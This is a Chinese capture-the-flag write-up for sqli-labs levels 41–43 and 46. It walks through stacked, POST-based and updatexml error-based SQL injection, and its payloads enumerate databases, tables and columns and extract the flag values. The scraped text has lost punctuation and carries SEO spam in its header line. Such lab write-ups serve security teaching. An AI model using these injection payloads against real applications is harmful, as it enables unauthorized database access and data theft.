网站开发有什么点子网站 空间 备案
网站开发有什么点子,网站 空间 备案,wordpress无法html,中山网站建设解决方案提示#xff1a;文章写完后#xff0c;目录可以自动生成#xff0c;如何生成可参考右边的帮助文档 文章目录sqli-labs第41关 — 堆叠注入整型闭合sqli-labs第42关 — POST型堆叠注入sqli-labs第43关 — POST型堆叠注入sqli-labs第46关 — 报错注入绕过方法总结sqli-labs第41…提示文章写完后目录可以自动生成如何生成可参考右边的帮助文档文章目录sqli-labs第41关 — 堆叠注入整型闭合sqli-labs第42关 — POST型堆叠注入sqli-labs第43关 — POST型堆叠注入sqli-labs第46关 — 报错注入绕过方法总结sqli-labs第41关 — 堆叠注入整型闭合默认页面如下这里我们看页面就能知道这个GET传参方式查看源码很明显的一个整型注入mysqli_multi_query()允许使用分号;分隔一次性执行多条 SQL 命令payload大家都很熟悉了直接看吧# 测试回显位 2 3?id-1 unionselect1,2,3 -- da# 查数据库 ctfshow?id-1 unionselect1,group_concat(schema_name),3 from information_schema.schemata -- da# 查表 flags?id-1 unionselect1,group_concat(table_name),3 from information_schema.tables wheretable_schemactfshow-- da# 查列 flag4s?id-1 unionselect1,group_concat(column_name),3 from information_schema.columns wheretable_schemactfshowandtable_nameflags-- da# 查字段 ctfshow{7df4ebee-d2f9-4d45-9784-4ee5dde05024}?id-1 unionselect1,flag4s,3 from ctfshow.flags -- da得到flagsqli-labs第42关 — POST型堆叠注入因为我们是取flag为目的如果是渗透的话就可以增删改查具体可以看网上的例子sqli-labs (less-42)与第24关有点像但不是二次注入看页面我们可以知道该页面存在多个功能最主要的还是需要找到注入点在哪个页面查看源码分析failed.phplogined-in.php两者一样的代码可以看到进行了Cookie的认证?PHPsession_start();if(!isset($_COOKIE[Auth])){if(!isset($_SESSION[username])){header(Location: index.php);}header(Location: index.php);}index.php代码随机生成唯一的session和Cookie认证身份?PHPsession_start();if(isset($_SESSION[username])isset($_COOKIE[Auth])){header(Location: logged-in.php);}?login.php代码pass_change.php代码结合上述代码分析:username字段使用 mysqli_real_escape_string() 函数进行转义而password字段没有任何防御措施单引号闭合# 首先测试回显位1 unionselect1,2,3#结果# 查数据库 ctfshow1 union select 1,(select group_concat(schema_name) from information_schema.schemata),3# # 查表 flags 1unionselect1,(select group_concat(table_name)from information_schema.tables wheretable_schemactfshow),3## 查列 flag4s1 union select 1,(select group_concat(column_name) from information_schema.columns where table_nameflags),3# # 查字段 1unionselect1,(select group_concat(flag4s)from ctfshow.flags),3#结果如下sqli-labs第43关 — POST型堆叠注入页面如下感觉与上一关差不多呢查看源码大体上还是差不多的不过变成了)闭合而已直接上payload# 查数据库 ctfshow1) union select 1,(select group_concat(schema_name) from information_schema.schemata),3# # 查表 flags 1)unionselect1,(select group_concat(table_name)from information_schema.tables wheretable_schemactfshow),3## 查列 flag4s1) union select 1,(select group_concat(column_name) from information_schema.columns where table_nameflags),3# # 查字段 1)unionselect1,(select group_concat(flag4s)from ctfshow.flags),3#得到结果注意因为第43-45关的payload都是一样的所以我们直接到46关一个新类型sqli-labs第46关 — 报错注入默认页面代码如下尝试输入?sort1结果如下绕过方法这里我刚开始想到的有两种一种是依据print_r()和scandir()等函数来得到特定的顺序但是并不行因为他们是PHP函数不是MySQL函数一种是报错注入那就是用updatexml()等函数updatexml() 和 extractvalue() 等报错注入函数对返回的字符串长度有严格限制通常 最多只能显示32 个字符要获取后半段数据你需要使用 MID()、SUBSTR() 或 LIMIT 来进行“分页读取”由于页面会显示mysql_error()我们可以使用 updatexml() 或 extractvalue() 函数人为制造错误并回显数据# 查看数据库 ctfshow?sortupdatexml(1,concat(0x7e,mid((select group_concat(schema_name)from information_schema.schemata),61,30),0x7e),3)# 查表 flags?sortupdatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables wheretable_schemactfshow),0x7e),3)# 查列 flag4s?sortupdatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns wheretable_nameflags),0x7e),3)# 查字段 ctfshow{919aeb7c-cc3c-4a05-8f47-c5a1f27f2b7a}?sortupdatexml(1,concat(0x7e,mid((select group_concat(flag4s)from ctfshow.flags),1,30),0x7e),3)?sortupdatexml(1,concat(0x7e,mid((select group_concat(flag4s)from ctfshow.flags),31,30),0x7e),3)得到结果总结期待下次再见;